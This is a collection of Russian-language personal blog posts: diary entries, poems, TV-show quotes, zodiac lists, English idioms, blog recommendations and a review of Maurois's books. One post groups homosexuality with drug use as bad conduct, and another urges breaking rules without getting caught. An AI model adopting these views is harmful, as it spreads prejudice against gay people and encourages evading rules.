Пока ты не начнешь что-то делать, все будет така как есть. Кроме меня этого никто не сделает. Да меня не устраивает много чего, но при этом я продолжаю сидеть жопой на стуле, и думать о том как все плохо, что я дерьмо, почему так, почему мои лучшие годы я провожу так…вместо того что бы оторвать свою ЖИРНУЮ-ЖИРНУЮ жопу и начать ей трусить и идти к целе

\\\тупая баба

Ужасно бесят люди, знакомые, приятели, друзья - которые появляются в моей жизни и в большинстве случаев создают проблемы, а потом такие в ахуе: типо какого хуя я должен помогать тебе, ведь это уже твои проблемы. Вот из-за таких, так скажем, недорозумений у меня отпадает всякое желание общаться с людьми более, чем приветкакдела.

День 70: Знаменитости, которые Вам не очень нравятся. Почему?

Lady Gaga - то что она вытворяет с собой, со своим творчеством… - это не эпатаж…это безумие
…она немного не в себе, ну или просто не дружит с головой, да и по сути это ее дело(как себя вести, как привлечь публику) - но эта публика в основном подростки и эти подростки ничему хорошему у нее не научатся.Достаточно посмотреть с двух сторонок, на ее принципы, на ее выступления, на то какие темы она затрагивает в своих песнях, на ее образ жизни…она ничего не скрывает, почти никогда не прячется от камер папарацций, а значит ее малолетним фанатам ничего не стоит воплощать в жизнь те плохие поступки которые совершает она(потребление наркотиков, пропаганда гомосексуализма) - именно это меня задевает…

Что делать когда ваши близкие теряют родных? Про это где то пишут? Как себя вести. Что говорить? Есть может инструкция какая?

По доброте душевной когда-то отдала подруге в машину кабель jack-jack (с двух сторон кабеля — выход aux), а запасной потеряла. Жила без громкой музыки в доме все лето, потому что оухевала от цен на кабель — в бичарском DNS они стоят от 190 рублей, но в наличии, к сожалению, только за 290. Еще хуже. Хотя год назад покупала в КИО за 30 рублей, длина, конечно, всего 1 метр, но все равно справедливо. Задалась целью съездить в КИО на Большой, нашла там нужный кабель за 68 рублей и с радостью купила.

История со счастливым концом.

В DNS и так ходить не очень приятно, а тут еще и сюпризы в виде цен. Будум-тс.

Есть места, в которые ноги заводят тебя сами. И когда ты случайно на них набредаешь, то пониманшь, что тебя давно вело сюда шестое чувство.
Я бывала в нескольких дворцах Санкт-Петербурга и в замках старой Англии. Они всегда вызывали восторг и молчаливый трепет. Но сегодня я впервые оказалась перед Александровским дворцом, и он поразил меня своей простотой и величием.
Я просто шла по лужайке и вдруг посмотрела направо, через пруд. А там стоял он . Ни с чем не сравнимый и абсолютно прекрасный.
Если можно влюбиться в место, то я влюблена. Я около часа молча наблюдала за этим дворцом на расстоянии, сидя на траве, а потом тихо подошла к нему, как к святыне. Возможно, я выражаюсь излишне помпезно, но нисколько не лукавлю. А когда я поняла, что можно войти внутрь, у меня даже сердце забилось быстрее!
Дворец закрывается на реставрацию. И знаете, когда это случится? Сегодня вечером. С завтрашнего дня и на долгих три года он будет закрыт от посторонних глаз. Это еще больше убеждает меня в том, что если ты должен прикоснуться к чему-то, то ты прикоснешься. Если должен увидеть – увидишь.
Три открытые для посещения парадные комнаты были наполовину пусты. Из посетителей – я одна. И для меня это было очень важно. Мне хотелось раствориться в окружающей обстановке. Я просто бродила туда-сюда, и в голове моей крутилась одна единственная мысль:

« И они здесь хаживали… »

(via nancychipmunk)

Точно, семь из десяти, я напьюсь с Танечкой (какие лекциикакиепары), если она предложит. А она предложит. Я, тут оказывается, похожа на девушку, которая может обеспечить своего парня. Я, вообще-то, теперь живу экономно и отказываюсь на себя тратить, если не увижу новый оттенок "Аурелии", конечно, или фигурку слона.

К чему я пишу это, к тому что глупею от безделья (одиночества, неудовлетворенных базовых потребностей, в жизни нет ничего захватывающего my bad etc)

# Завтра мы идем тратить все свои, все твои деньги #

А я не такая, как твоя девочка.
Я не люблю кино и романтику.
Я люблю секс до утра и царапать спины.
Я люблю "Балтику", не люблю мартини.

Я ей противоположность полная
И на неё, может, похожа слишком.
И вы с ней на фотках такие влюблённые
Но и для меня, может, ты станешь близким..

А мне нравятся многие мальчики
Я свободна, вольна, крылата.
И пусть я много чего не знаю,
Но мне с тобой рядом так заебато..

А сколько раз мы с тобою виделись?
А я считала.Раз пять, не больше.
И последний раз - где-то в начале осени.
И я подсела, как на наркотики.

Хоть мне и неважно, где ты.
А ты скучаешь? Прикольно бы было.
Да ты не хватайся за сигареты.
Бери.Пока я не остыла.

Всем привет. С вами светская сплетница и у меня сногшибательная новость. Один из моих надежных источников сообщает, что на Центральном вокзале с сумками в руках замечена Серена ван-дер-Вудсен. Всего год назад эта девушка внезапно исчезла, отправившись, цитирую, в "Школу-пансион". И вот она столь же внезапно возвращается.

Слухи о возвращеннии Серены начинают расползаться. Интересно, что об этом думает Блер Уолдорф. Они с Сереной лучшие подруги, но мы знаем, что Нейт, приятель Блер, положил глаз на Серену.

Снято на ступеньках школы: борьба за власть между С и Б. Неужели С думала, что достаточно вернуться домой и все будет, как прежде? Неужили Б думала, что С сдастся без боя?.

Или соперницы все же смогут найти общий язык. Нет ничего лучше старой доброй женской драки. Сплетница знает в них толк.

Снято: Палас отель, разговор по душам между С и Б. Сейчас ты одержала победу, С, но нам все равно кажется, что ты что-то скрываешь.

Дэн: Ты что встретитьшься с парнем, которого не знашеь?

Серена: Ты не можешь быть хуже тех, кого я знаю.

Серена и ее таинственный друг внезапно появились на вечеринке Блер. Она с триумфом покидаем вечеринку Б. Жаль, что в понедельник ей придется вернуться в школу. Будет ли Верхний Ист сайд прежним, когда С вернулась? Мы все умираем от любопытства.

Визит Серены к Блер был коротким и не очень удачным. Но знаете, что? Мы слышали, что месть лучше подавать в холодном виде. Кто-нибудь голоден?

Кто-то назовет это будущим скандалом. Но мы в Верхнем Ист сайде называем это воскресным деньком.

Снято: Н и Б летели в номер на крыльях любви только, чтобы обнаружить там С. Сейчас полетят клочья. Война объявлена.

Танственный друг Серены больше не тайна. Его зовут… Хотя какая разница. Теперь когда между ним и С все кончено, кончились и его пятнадцать минут славы.

Что касается самой С, мы слышали, что она покинула обед одна. У нее нет ни друзей, ни парня и ей некуда бежать. Похоже, что наша звезда стала обычным чужаком. Твой ход - Серена.

история возвращенеи Серены

приличные девочки,
патологические отличницы
вырастают с годами в прокуренных истеричек.
лучше бы в детстве чуть-чуть пошалили со спичками -
охладели бы к возрасту зажигалок.
знать бы заранее, что в школьной столовой дадут на завтрак,
кем ты станешь завтра:
мастером слова, бабой с веслом или той, у которой два года условно
за плечами на месте подрезанных крыльев,
чем твое жили-были закончится:
тили-тили, тили-тесто, в зале нет свободного места
или – просто: конец.
знать бы заранее, что все эти правила -
ленца, буравчика, правописания -
разовьют в тебе мании, фобии, прочие комплексы,
поднимая все выше планку над плоскостью
жизни, в которой из близких –
лишь томик питерского тунеядца
заставляет так искренне плакать, реже – смеяться.

Знаете, кто-то скажет, что если есть хотя бы один или два человека, которые поддерживают во всем и ты точно знаешь, что они будут на твоей стороне, ты счастливый человек и что тебе еще вообще надо. Есть одна загвоздка. Как быть с тем, что иногда тебе хочется, чтобы это был конкретный человек и как-то не выходит. Так, что даже если человек говорит, что любит тебя, нифига это не значит, что от будет тебя поддерживать и всегда на твоей стороне. Потом становится обидно, за то, что ты этого ждешь, а ждешь ты этого потому, что те, другие люди приучили тебя к этому, к поддержке. К определенной форме поддержки. Критику, любую, пусть даже и неконструктивную, я могу и в другом месте получить. А тут извольте, она везде (я о критике).

Когда уже все театры будут присылать мне приглашения на свои пресс- и предпоказы, а не только "Практика"? Хотя и это хорошо.

Я вчера чуть сальсу не станцевала, когда увидела письмо. Уже полгода читаю про эту премьеру, понимая, что на первые 10-20 спектаклей точно будет не попасть. Родственники и друзья актеров, знаменитости - ну, вы понимаете. Всем надо дать "засветиться" на премьере.

***

Действие происходит в Нью-Йорке и в Берлине. Четыре героя, трое приезжают в Нью-Йорк из Европы, чтобы устроить себе «лучшую» жизнь, и только один в Нью-Йорке родился и вырос. Всем четверым не удается найти гармонию, жизнь их превращается в кошмар, но вдруг с каждым случается удивительное. Происходит встреча с космическим сознанием, и эта встреча полностью меняет жизнь всех героев.

***

Завтра в универ. Я еще не определилась рада я или нет. С одной стороны новая возможность начать все с начала, но по-другому. С другой бесконечная нехватка времени, сна, денег. Ну вообщем обычная студенческая жизнь. Три дня назад, когда Лёша гулял с другом, я лежала смотрела что-то по телеку, затем резко встала и поняла что-то не так. Весь оставшийся вечер у меня жутко кружилась голова, а за день до этого заболело правое ухо. Вчера начала болеть шея, тоже с правой стороны. В итоге меня намазал мой врач личный какой-то настойкой, которая отвратительно воняла, но так жгла шею, что боль в ней перешла из одной в другую, но более терпимую. Сегодня все еще болит и то и то. Но меньше, или я просто внушила это себе, только бы не в больницу! Наверное просто продуло? Почему все болячки липнут последнее время:(

Я уже перестала верить в хорошее. Что у меня когда-то будут настоящие друзья (а не эгоисты, "текучка"), парень, которого я буду любить по-настоящему (а не очередной). С течением обстоятельств, окружающих меня людей- всё больше стервенела. Но всё изменилось в тот день, когда впервые увидела Владя спустя год после нашего первого знакомства. В итоге у меня появился любимый человек, который стал членом моей семьи, верные и настоящие друзья, хорошая компания. Всё, о чём я всегда мечтала. Ну и про себя не забуду- я стала другой. Совсем. Я стала лучше. Расцвела.

Просто удивительно, как изменилась моя жизнь после встречи с милым.

Никогда бы не подумала, что смогу кого-то так сильно полюбить. Мой самый лучший, сладкий мальчик.

пока все подводят итоги этого лета, я напишу грустный пост. очень-очень грустный пост, связанный с моими болезнями и невозможностью их излечения.
как предисловие - у меня астма лет так с 7-8. поскольку моя семья не обладает достаточными средставми, чтобы лечить эту болезнь поездками в Грецию/Италию/Грузию, где климат способствовал бы выздоровлению, то лечили ее всегда таблетками/балончиками/еще большим количеством таблеток. после первого заострения лет так в 7-8, когда астма и была обнаружена, к счастью, она плавно стала интермиттирующей, почти не выражалась в острой форме - без приступов. ноаллергия, сопутствующая астме, никогда никуда не девалась, а значит мне нельзя жить в комнате с пылью, перьевыми подушками, не_анатомическими подушками и не_ортопедическими матрасами.также нельзя заводить ни одно животное кроме черепах, ящериц и змей. это - только малый список ограничений, по сути же аллергическая реакция у меня может появиться в буквальном смысле ниоткуда.
под аллергической реакцией я как раз и подразумеваю астму - кашель, насморк, слезящиеся глаза, ужасный свист при вдохе и выдохе, который и может спорвоцировать приступ. до осени прошлого года астму я практически не замечала кроме того факта, что не могла долго жить у бабушки, где перьевые подушки, старые пыльные ковры и т.д. повторюсь, это до осени прошлого года.
если быть краткой, то тогда я около месяца сильно кашляла сухим кашлем без причины, а после попала в больницу на месяц, поскольку врачи подумали, что у меня пневмония. я сама думала точно так же, пока не оказалось, что это обострение бронхиальной астмы. спровоцировало его не мой приезд к бабушки или еще что-то, на что я могла бы повлиять, а слишком сухая осень. вокруг были сплошные сухие листья, разносимые ветром, дождя не было около месяца. вот и результат.
в этом году приезды к бабушки тоже сопровождаются более ощутимыми реакциями организма. если многие годы я ездила к ней, могла жить там несколько недель и все ограничивалось насморком, то в один из приездов у меня свистели легкие, как поломавшаяся гармошка, буквально спустя день пребывания там.
и все это я могла бы пережить, даже месячное пребывание в советской разваливающейся больнице с шестью людьми в палате, вот только моя астма ставит под сомнение возможность поступления в другой город. мы все знаем, какие условия в украинских общежитиях. а мне страшно подумать, чем может быть чревато мое пребывание там, среди перьевых подушек и пыли. ведь даже из-за элементарной сухости погоды умудрилась месяц не больничной койке проваляться, что же там будет…
как и любой одинадцатикласснице, мне хочется поступить и жить в другом городе, тем более что в моем городе выбор университетов, мягко говоря, невелик. и если я останусь здесь, то на будущем можно поставить большой такой крест.
а если поеду и буду жить в общаге, то неизвестно, что меня там ждет.
для того, чтобы стало более известно, сегодня сдала кровь на огромное количество анализов, так называемые аллергопробы. к сравнению, прошлые аллергопробы, которые я сдавала, по 100-бальной шкале показали результаты около 75, в то время как нормой является от результат от 0 до 5.
если большая половина анализов (там их 20) покажет результаты 70-80, то я, конечно же, остаюсь здесь. потому как если поеду, то мне придется есть таблетки горстями, кашлять большую часть дня ужасным надрывным астматическим кашлем и принимать гормональные.
p.s. простите, если скомкано.

"Каждый имеет право на ошибку". Этой фразой можно пользоваться только с теми, с кем никогда не совершал ошибок… Их совершают все. ВСЕ!!! Без исключения. Иногда я думаю о том, что правила и существуют для того, чтобы их нарушать. А я люблю нарушать правила, очень люблю. От нарушения правил возникает неописуемое чувство удовольствия, тем более если нарушение правил придаёт физическое наслаждение. Кто-то говорит, что мучает совесть?! Нееет) Просто хочется с кем-то поделиться, но нельзя ( Совершайте поступки нарушающие правила и не жалейте. Лучше сделать и жалеть, чем жалеть, что не сделала) Главное не попадайтесь с поличным)

Знаки на пляже:
Овен: играет в пляжный волейбол
Телец: закапывает кого-то в песке
Близнецы: пикник
Рак: делает фотографии
Лев: работает над своим загаром
Дева: читает журнал
Весы: плавает в океане
Скорпион: носит новый купальник
Стрелец: играет в волейбол с Овном
Козерог: серфинг
Водолей: ищет ракушки
Рыбы: делает замок из песка

Знаки зодиака как цветы

Овен: жимолость
Телец: маргаритка
Близнецы: лаванда
Рак: кувшинка
Лев: подсолнух
Дева: фиалка
Весы: гортензия
Скорпион: герань
Стрелец: одуванчик
Козерог: мак
Водолей: орхидея
Рыбы: цветущая вишня

Что могут знаки зодиака…
Пишет эссе за день, но не может сделать математику: Телец, Рак, Лев, Весы, Стрелец, Рыбы
Делает математику за 5 минут, но не может написать эссе: Овен, Близнецы, Дева, Скорпион, Козерог, Водолей

Наверное, я временно не буду оформлять посты после этого. Вечером я поеду с вещами в город и останусь там. Если буду писать, то с телефона, правда, у меня закончился трафик.

Правильно Илона сказала мне, что жить с девочками, как в змеином клубке. Я еще не заселилась, а уже начались обиды, кажется. Я написала Наде: "Надеюсь, сегодня у нас никто не будет ночевать?" Она ответила: "Нет. Если ты не хочешь, чтобы они приходили, скажи сразу. Я не хочу видеть твое недовольное лицо". Сказала, что мне некомфортно, даже жутко некомфортно, и я не знала, что так будет, когда разрешила им приводить их (я подразумевала на час-два и не каждый день вообще-то). Надя обиделась. И я такая дура, представляете, начала просить прощения. Сообщения три были похожи друг на друга, ибо я просила не обижаться и понять меня. На последнее, где я сказала, что меня тоже можно понять, она не ответила. Здорово. И это моя подруга, с которой мы знакомы чуть ли не 15 лет. Вот уж не думала, что она будет на меня обижаться из-за такого. К слову, если бы ее старший брат узнал, что они вчетвером жили три дня там (нормально вообще, да?), он бы и ей, и ему головы оторвал.

Теперь как-то боюсь ехать. Боюсь, что они устроят мне бойкот или что-то вроде того. Или будут шептаться обо мне втайне от меня. Классно. Я хочу приходить в квартиру и расслабляться не только физически, но и морально. А в напряженной обстановке жить не хочется. Я уже начала искать четвертую девочку и предложила это место моей хорошей подруге, но ей могут не разрешить. Буду надеяться, что она будет жить с нами.

На редкость кстати, что я сижу вся в эмоциях и рядом viewy, где я могу написать все, что кипит во мне!!

Ненавижу его просто. Могу провести с ним максимум два спокойных и счастливых дня, а потом мы может месяц ненавидеть и пилить друг друга добавляя в "ЧС", а потом снова убирать оттуда. Бесит меня этот "черный список"!!! Психанет и добавит ни за что!!!

Расстались РОВНО ГОД НААЗАД, а в итоге?? Да я как будто не расставалсь с ним этот год. Так же видимся и выносим мозг. Побудем счастливыми пару дней и все, хватит радоваться!

Как быстро каждый из знаков зодиака может влюбиться:

Овен: Нет. Никогда. Никакой любви. Слишком болезненно.
Телец: Они довольно-таки плохо разбираются в любви. Вы можете флиртовать с ними вечность, но все еще быть во френд зоне.
Близнецы: Любят играть. Составьте им компанию и рассмешите их и тогда они ваши.
Рак: Мило пообщайтесь с ними в течении нескольких дней и он/она ваш.
Лев: Они не влюбляются. Они заставляют других влюбляться в них. А затем они действуют.
Дева: Немедленно.
Весы: Их очень тяжело сломить, а если вы все правильно разыграете, то они никогда не будут думать об этом, когда будут влюблены.
Скорпион: Не-а. Ни в коем случае. Они не влюбляются. Никогда.
Стрелец: Один день. Два максимум.
Козерог: Они стараются избегать того факта, что они влюблены и они стараются думать, что им удается. Но им требуется 5-10 дней.
Водолей: Их очень сложно заполучить. Требуется куда больше времени, чтобы их заполучить.
Рыбы: Просто дайте им 2 секунды.

Какое домашнее животное подходит вам по знаку Зодиака!

ОВЕН
Людям, рожденным под этим знаком Зодиака, идеально подойдет Ирландский терьер. Это бесстрашные и подвижные собаки, отличающиеся особой отважностью, а порой и безрассудством.

ТЕЛЕЦ
Тельцам понравятся симпатичные милые животные, которых можно обнять или потискать. К таким относятся, например, шпицы. Это пушистые и трогательные собаки, чья шерсть нуждается в ежедневном расчесывании. Шпицы очень сообразительны, легко обучаются и бесконечно дружелюбны — все эти черты найдут отражение в чувствительном Тельце.

БЛИЗНЕЦЫ
Кто может стать лучшим компаньоном для этих разговорчивых натур, чем не животное, которое само может научиться разговаривать? Например, Африканский серый попугай. Эти птицы принадлежат к одним из наиболее умных птичьих особей и отличаются тем, что могут запоминать большой объем слов и выражений, с помощью которых они способны общаться со своим хозяином.

РАК
Раки весьма тонко ощущают тот путь, по которому они идут в жизни, и для эмоционального удовольствия им лучше предпочесть какое-нибудь небольшое животное, которое они могут подержать в руках и о котором позаботиться. Для этих целей идеально подходят хомячки. Они милые, чистоплотные и любят, когда за ними ухаживают. Как и Раки, хомячки по своей натуре предпочитают комфортный и просторный дом. Они могут есть самую разную пищу, и вам не придется мучиться с подбором для них еды.

ЛЕВ
Благородное, оригинальное и игривое животное растопит сердце Льва, любящего все экстравагантное. Вам могут понравиться Сиамские кошки, гладкие, без шерсти, очень живые и подвижные. Раньше владельцами Сиамских кошек могли быть только члены королевских фамилий, что делает этих животных еще более уникальными. Львам также придется по душе желание этих кошек быть всегда в центре внимания. С таким животным Лев не соскучится.

ДЕВА
Девы, любящие чистоту и порядок и порой слишком щепетильные, заслуживают лучшего. Им подойдет Бернская горная пастушья собака. Эти животные очень чистоплотны, дружелюбны и всегда готовы прийти на помощь. Они легко обучаемы и готовы услужить во всех возможных делах. Девам понравится работать вместе с такими старательными и любящими собаками.

ВЕСЫ
Загадочным и уравновешенным Весам с их изысканным вкусом понравится все, что будет приносить красоту и гармонию. Им идеально подойдет попугай с чудным названием Розовощекий неразлучник. Имя «неразлучник» было дано этому виду за их моногамность, что оценят Весы. Это очень общительные птицы. Совершенно точно они станут гвоздем программы на вечеринках, которые вы будете устраивать. При должной заботе и внимании этот попугай станет желанным компаньоном, любящим ластиться и прихорашиваться для своих хозяев.

СКОРПИОН
Впечатлительных и любознательных Скорпионов зачастую привлекает темная сторона жизни, а от животных они ожидают тишины. Возможно, вам стоит завести паука. Поскольку не нужно уделять много времени для заботы о пауке, Скорпионы могут потратить его на наблюдение за его интересным существованием. Паукам не нужно общение, что идеально подходит для Скорпионов-интровертов. Небольшой паук в террариуме станет для них замечательным дополнением в жизни.

СТРЕЛЕЦ
Стрельцы энергичные, доброжелательные и предприимчивые и ищут подобные черты в большом и благородном питомце. Им подойдет, например, Датский дог. Эти солидные и импозантные собаки обладают дружелюбной натурой, очень нежные. Они энергичны и нуждаются в постоянных прогулках, что подходит любящим активный образ жизни Стрельцам. Сильный, внимательный и сообразительный Датский дог поддержит Стрельца в любой его активной деятельности.

КОЗЕРОГ
Амбициозные и практичные Козероги ожидают от будущего питомца дисциплинированности. Немецкая овчарка со своей силой, умом и послушанием подойдет вам лучше всего. Обладая тягой к познанию, она будет нуждаться в тренировках строгого и решительного Козерога. Самостоятельность и преданность Немецкой овчарки — это те черты, которые также будут им оценены.

ВОДОЛЕЙ
Со своим необычным, холодным и обособленным характером Водолеи предпочтут какого-нибудь оригинального (но не слишком) питомца. Для этих целей подойдут, например, игуаны. За ними интересно наблюдать, они отличаются различными характерами, едят зелень и очень популярны в мире. Если с игуаной правильно обращаться, она проявит себя как дружелюбное животное. Игуана может развлекать сама себя много часов подряд, если рядом будет солнце и много места, где можно полазить. С течением времени Водолеи и игуаны могут стать лучшими друзьями.

РЫБЫ
Рыбы зачастую ищут выход из повседневной рутины в мистическом и пленительном приключении. Тропические цветные рыбки в живописном аквариуме могут стать идеальными питомцами для людей с подобным желанием. Тропические рыбки продаются различных цветов и форм, что совершенно точно приведет в восторг людей, рожденных под этим знаком Зодиака. Пузырьки, люминесцентный свет и юркающие туда-сюда рыбки помогут Рыбам отвлечься от домашних забот и погрузиться в ведомый им одним мир.

знаете такой "писательский" ступор когда у тебя уже есть сюжет и ты знаешь что писать но не знаешь КАК написать и ты просто пялишься на экран часами пока не закроешь документ и не проклянешь свое существование

ПОТОМУ ЧТО Я ЗНАЮ ТАКОЙ СТУПОР

Росс: Что? Трансплантация мозга? Это смешно.

Джоуи: Думаю, смешно то, что у тебя не было секса три с половиной месяца.

Росс: Это зима. Немного людей на улице.

f.r.i.e.n.d.s

Идиомы про настроение:

Everything's cool - Все здорово;
I couldn't care less - Мне совершенно безразлично;
I had a complete fit - Меня не на шутку разозлили;
I haven't got a care in the world - Меня ничто не тревожит;
I'm having a really peachy time - Я превосходно провожу время;
I'm on cloud nine - Это просто блаженство;
I'm really buzzing - У меня все просто здорово;
I'm totally over the moon - Я безумно счастлив;
I'm walking on air - Я на седьмом небе от счастья;
I've had the week from hell - У меня была ужасная неделя;
She blew her top - У нее крыша поехала;
She threw a wobbly - Она не в себе;
The fur's been flying - Начались серьезные разногласия;
There's a bad vibe round here - Здесь плохая атмосфера;
We've made it up - Мы все уладили.

31 августа отмечают день блога. С чем я и хочу вас поздравить, мои дорогие. Буквально минуту назад узнала, что в этот день принято писать о пятерке любимых блогов. Поэтому… почему бы и нет? Я хочу выйти за границы платформы вьюи и познакомить вас с чудесными блогерами, чьи тексты я с удовольствием читаю и с нетерпением жду.

Уверена, о блоге Дары многие знают и восхищаются этой девушкой. Пожалуй, на сегодняшний день это один из самых популярных блогеров на русскоязычной платформе. Дара пишет о вдохновении, о том, как быть в гармонии с окружающим миром, об умении прислушиваться к себе и находить внутреннее равновесие, о звездах и кристаллах. Так же она является со-основателем бренда Aloha Gaia, создавая изумительной красоты украшения.
С ее блога можно не вылизать часами! Что я неоднократно практиковала, перелистывая страницы до ее обитания на жж.
Любой ее аккаунт - это эстетика. И если вы хотите получить заряд желания творить, то не тратьте ни минуты времени, а скорее открывайте ее блог/иг/вк. Помимо того, что оформление и стиль цепляют взгляд, так сам контент качественный. Поэтому читать-любоваться-читать-любоваться!

перейти на блог

Блог Марины - мотивация в чистом виде. Она много пишет о ведении блога, сделав это занятие своей работой. т.к. основала онлайн-школу блоггерства, помогая желающим создать и грамотно развить свою виртуальную обитель. Марина живет возле океана в Испании вместе с мужем, собакой и кошкой. В ней очень много практичности, трезвого взгляда и любви к своему делу. Несмотря на скептические взгляды со стороны близких (ведь кто поверит, что на блоге можно хорошо зарабатывать, а не голодать?), она доказала свою правоту, реализовывая проекты и развиваясь как личность. К ее словам многие прислушиваются, черпают мудрость, просят советов, ощущая близость через тексты. Ее блог обязателен к прочтению каждому!

перейти на блог

Скажете, что не слышали о блогспоте Маши - не поверю! Да-да, я говорила вначале этого поста, что не стану писать об обитателях вьюи, но разве блог Маши можно игнорировать? Тем более, он действительно входит в список самых любимых и вдохновляющих. На ее странице царит особая атмосфера, способная согреть и обнять.
Блог поделен на 3 основных блока: идеи, вдохновение и посты личного характера. Здесь вы найдете как практичные советы по созданию различных прекрасностей, так и рассуждения и советы, способные помочь в той или иной ситуации. Машин блог - некий плед, в котором так уютно прятаться от плохой погоды внутри.

перейти на блог

Юля - мой заряд мотивации. Открыв для себя ее блог я тут же захотела познакомиться с ней лично. Именно она подтолкнула меня к созданию украиноязычного блога, показывая своим примером, что нужно развивать блогинг в родной стране. А он в Украине пока заметно хромает. Я знаю не так много украинских блогеров, которые качественно занимаются своим делом и которых хотелось бы читать. Юля Кушнир - единственная из украинско-язычной блогосферы, кого я непременно советую почитать каждому. Она очень ответственно подходит к своему занятию: устраивает фотосессии, часами работает над текстами, доводя до идеального результата. организовывает посиделки с читателями и рассказывает о своей любви к "Сан-Франківську".

перейти на блог

"Приключение украинки во Франции" - вот как бы я назвала блог Оли. Она живет в городе, о котором многие мечтают и по которому вздыхают, когда видят снимок Эйфелевой башни. Оля покинула родные украинские края, собрав чемодан, и теперь наслаждается романтической атмосферой вместе со своим мужем. А романтическая ли она на самом деле? В своем блоге девушка раскрывает Париж с разных сторон, показывая прелести проживании там и недочеты (как наплыв туристов, к примеру). Но она безгранично влюбленна в этот город и делиться этой любовью не только в своем блоге, но и через "нетипичные" экскурсии. Собрав крохотную группу туристов, показывает им Париж с нетуристической стороны - водит по местам, знакомым только парижанам, раскрывает секреты города и прививает желание вернуться.
В ее текстах много искренности, улыбок и открытости. Чтобы утро было добрым - почитайте ее блог за чашкой чая.

перейти на блог

Блер: Я хочу так, как Ваня с Доротой. Чистую любовь. Чистую и простую любовь.

Чак: Ты заскучаешь через пять минут.

Блер: Лучше скучать, чем стыдиться себя.

Блер: Я готова ради тебя на все, Чак. Но что, если это неправильно? Я не знала, что можно любить кого-то слишком сильно. Но это возможно.

Блер: Мне не нравится, какой я стала с тобой.

Чак: Постой, Блер. Не бросай меня.

Чак : Мы должны пройти это до конца.

Блер: Это и есть конец, Чак.

Многи думаю, что нашими действиями управляет мозг. Но часто наше сердце работает на опережение. Оно заставляет нас делать безумные вещи. Но оно также толкает нас на новое приключение, потому что когда мы открываем наши сердца, мы попадаем в мир любви. И нас приятно удивляют окружающие люди. Но, увы, наши сердца очень чувствительны. Когда их разбивают, все вокруг рушиться. Полное затмение сердца.

xo xo - gossip girl

Иногда я боюсь писать. Я знаю, что есть люди намного умнее меня. Люди, которые пишут лучше, анализируют лучше. Кому же хочется, чтобы твой отзыв о книги растоптал более умный собеседник? Но в любом случае каждое мое размышление ведет меня к совершенству, мои ошибочные выводы лишь мои. И если я переменю свое мнение через несколько лет, признав нынешние выводы ошибочными, то я писала пост не зря. Выраженная мысль имеет относительно законченную форму в отличие от обрывков в голове, которым нет применения и которые гибнут в ней же, оставаясь забытыми и замененными другими.

Превозмогая лень, я собираюсь с силами, чтобы рассмотреть книги нового для меня автора. Андре Моруа. Пока прочитаны «Письма незнакомке» и «Сентябрьские розы», в процессе чтения «Земля обетованная». Надо сказать, что «Письма незнакомке» являются хорошим подспорьем в дальнейшем анализе произведений Моруа, поскольку автор выражает свои взгляды на любовь и построение отношений достаточно прямолинейно. Он подает свои взгляды, а читателю остается лишь сделать какие-либо выводы и сравнить с собственной практикой взаимоотношений. Кто-то найдет рекомендации мудрыми, кто-то – лишними и бесполезными для себя. Однако эти рекомендации проглядываются в произведениях с сюжетом, зачастую являя собой вывод из ситуации.

«Письма незнакомке».

Встретила книгу на Лабиринте, после чего изучила цитаты на livelib. До прочтения книги я не читаю отзывы, чтобы не формировать предвзятого мнения, чтобы не навязывать себе чужое мнение, пусть и частично. Конечно, у Моруа женщина рассматривается лишь через призму мужчины, но могло ли быть иначе? Книга имеет нравоучительный характер.

«Допустим, но ведь в чем-то вам хочется добиться успеха: в спорте, садоводстве, живописи, секретарской работе, кройке и шитье - уж не знаю, в чем еще? Рецепт всегда один: приступайте к делу, какой бы неуклюжей вы себя ни чувствовали, проявляйте настойчивость. Вы с изумлением убедитесь, что опыт, точно по волшебству, пришел к вам».

«Я вот что хочу сказать: существует два разных подхода к людям. Первый состоит в том, чтобы взирать на них критическим оком - возможно, это справедливо, но сурово, это подход равнодушных. Другой соткан из нежности и юмора; при этом можно видеть все изъяны и недостатки, но смотреть на них с улыбкой, а исправлять мягко и с шуткой на устах. Это подход любящих»

«Разумеется, можно представить себе, что муж и жена трудятся в одной области и работают, так сказать, параллельно. Если оба они люди достойные, их деловое соперничество не вступит в противоречие с супружеской привязанностью. Но если один из них склонен к зависти, тщеславию или попросту быстро падает духом, тогда одинаковая специальность может стать причиной серьезных затруднений в личной жизни. В том случае, если жена более талантлива или искусна, муж очень часто испытывает, может быть сам того не желая, чувство зависти. Это несправедливо и нелепо, но мужчина столько веков главенствовал в семье, что его достоинство страдает, когда его опережают в его собственной сфере деятельности.»

Данную фразу я могу долго комментировать, но воздержусь, поскольку это выходит за пределы обобщенных рассуждений, а без упоминаний личностей не обойтись.

«Да, признаю, я испытал немало жестоких разочарований. … Но ведь я никогда и не верил в его [мира] совершенство. Я всегда знал, что есть скверные люди (кстати, как правило, это глупцы или неудачники); я всегда знал, что в годину бедствий толпа может сделаться свирепой и тупой.

Мой оптимизм заключался и поныне заключается только вот в чем: я верю, что мы способны в известной мере влиять на события и что, если даже, несмотря на все наши усилия, нам придется пережить беду, мы можем восторжествовать над нею, если достойно ее перенесем. Декарт сказал об этом лучше, нежели я: "Я взял себе за правило стараться одолевать не столько судьбу, сколько самого себя, и изменять не столько мировой порядок, сколько свои собственные устремления". Любить окружающих меня хороших людей, избегать дурных, радоваться добру, достойно сносить зло, уметь забывать - вот в чем мой оптимизм»

«Тот, кто в книгах Бальзака пропускает длинные описания улиц или домов, не может считаться его истинным ценителем».

Мне сразу вспоминаются многочисленные отзывы и комментарии в книжных сообществах на просторах Вк. Кто-либо утверждает, что пропускал нудные описания Гюго, пролистывал войну Толстого, пропускал рассуждения. А потом добавляют, что если убрать все это, то ничего не изменится. Какой же вы читатель, если пропускаете рассуждения? В хороших книгах зачастую именно мысли имеют ценность, а сюжет второстепенен. Читать книгу только ради сюжета все равно, что жевать обертки от конфет. Красиво, но что-то не очень вкусно, да и бесполезно. Да, есть точка зрения, что Толстой – графоман, но он не был бы собой, если бы не писал километровые рассуждения.

«Женщине прощают болтливость - ей не прощают ее правоту»

«Нежные слова, появившиеся и изливающиеся в самый момент проявления чувств, - прелестны. Нежность в затверждениях раздражает»

Думаю, по этим отрывкам можно понять, о чем книга. Как их оценивать – личное дело каждого. А я пока от выражения в письменном виде воздержусь, иначе выйдет слишком пристрастно и ориентированно в одну сторону.

«Сентябрьские розы».
Красивая обложка, интересное название и понимание того, о чем будет писать Моруа. Психологический роман и довольно достойный. После «Писем незнакомки» уже видно, что хочет сказать автор, и можно прогнозировать развитие событий.

